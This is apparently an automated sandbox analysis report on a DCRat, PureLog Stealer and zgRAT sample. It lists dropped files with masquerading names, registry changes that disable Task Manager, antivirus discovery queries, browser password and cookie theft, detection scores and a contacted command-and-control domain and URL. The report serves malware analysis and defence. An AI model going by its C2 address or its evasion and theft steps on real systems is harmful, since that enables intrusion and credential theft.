Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Everything\Everything.exe	Queries volume information: C:\Program Files\Everything\Everything.exe VolumeInformation
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe VolumeInformation
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe VolumeInformation
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Queries volume information: C:\Windows\apppatch\CustomSDB\sihost.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Queries volume information: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe VolumeInformation
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe VolumeInformation
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe VolumeInformation
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Queries volume information: C:\Windows\apppatch\CustomSDB\sihost.exe VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CDDF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

2_2_00CDDF1E

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Code function: 6_2_00007FF63D546D80 GetUserNameW,

6_2_00007FF63D546D80

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CCB146 GetVersionExW,

2_2_00CCB146

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Windows\SysWOW64\reg.exe

Registry value created: DisableTaskMgr 1

Disables the Windows task manager (taskmgr)

Source: C:\Windows\SysWOW64\reg.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: MsMpEng.exe

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 0000000E.00000002.2626614280.000000001267C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: containerwebruntime.exe PID: 2300, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.wxl1r0lntg.exe.146dbdbd.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.650f71e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.containerwebruntime.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.4d9171e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.650f71e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.wxl1r0lntg.exe.1468d6b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.2267598724.0000000000122000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2041272436.00000000064C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2043048725.0000000004D43000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Recovery\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\apppatch\CustomSDB\sihost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\sqls211.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 0.2.wxl1r0lntg.exe.146dbdbd.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.650f71e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.containerwebruntime.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.4d9171e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.650f71e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.wxl1r0lntg.exe.1468d6b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Recovery\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\apppatch\CustomSDB\sihost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\sqls211.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 0000000E.00000002.2626614280.000000001267C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: containerwebruntime.exe PID: 2300, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.wxl1r0lntg.exe.146dbdbd.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.650f71e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.containerwebruntime.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.4d9171e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.650f71e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.wxl1r0lntg.exe.1468d6b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.2267598724.0000000000122000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2041272436.00000000064C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2043048725.0000000004D43000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Recovery\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\apppatch\CustomSDB\sihost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\sqls211.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 0.2.wxl1r0lntg.exe.146dbdbd.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.650f71e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.containerwebruntime.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.4d9171e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.sqls211.exe.650f71e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.wxl1r0lntg.exe.1468d6b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Recovery\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\apppatch\CustomSDB\sihost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\sqls211.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	1 Replication Through Removable Media	141 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	11 Input Capture	21 Peripheral Device Discovery	Remote Desktop Protocol	1 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	15 Windows Service	15 Windows Service	141 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	11 Input Capture	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	13 Command and Scripting Interpreter	311 Registry Run Keys / Startup Folder	11 Process Injection	13 Software Packing	NTDS	4 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	12 Service Execution	Network Logon Script	311 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	168 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	371 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	133 Masquerading	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	261 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
wxl1r0lntg.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
wxl1r0lntg.exe	100%	Avira	TR/Dropper.Gen
wxl1r0lntg.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Recovery\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files\Everything\Everything.exe	100%	Avira	HEUR/AGEN.1357628
C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\KDhudFNWvk.bat	100%	Avira	BAT/Delbat.C
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	100%	Joe Sandbox ML
C:\Recovery\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files\Everything\Everything.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files\Everything\Uninstall.exe	0%	ReversingLabs
C:\Recovery\RuntimeBroker.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\AppData\Local\Temp\drivEn760.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Uninstall.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nss476A.tmp\InstallOptions.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nss476A.tmp\LangDLL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nss476A.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\sqls211.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\ANcNpKUT.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\GEAmOcnc.log	25%	ReversingLabs
C:\Users\user\Desktop\TDoLDJFD.log	8%	ReversingLabs
C:\Users\user\Desktop\WteBKGGw.log	5%	ReversingLabs
C:\Users\user\Desktop\dFyrOIJL.log	8%	ReversingLabs
C:\Users\user\Desktop\fXnruzVd.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\hwphVFJE.log	5%	ReversingLabs
C:\Users\user\Desktop\otdhyUEt.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\pGGHecbL.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\phhpjhAr.log	25%	ReversingLabs
C:\Users\user\Desktop\qeIxFhOl.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\utYFHYqz.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\apppatch\CustomSDB\sihost.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Name	IP	Active	Malicious	Antivirus Detection	Reputation
838596cm.nyafka.top	104.21.112.1	true	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://838596cm.nyafka.top/lineLongpolllinuxFlowercentraluploads.php	true

URLs from Memory and Binaries

Name	Source	Malicious
https://www.voidtools.com/downloads/https://www.voidtools.com/downloads/#languagehttps://www.voidtoo	drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 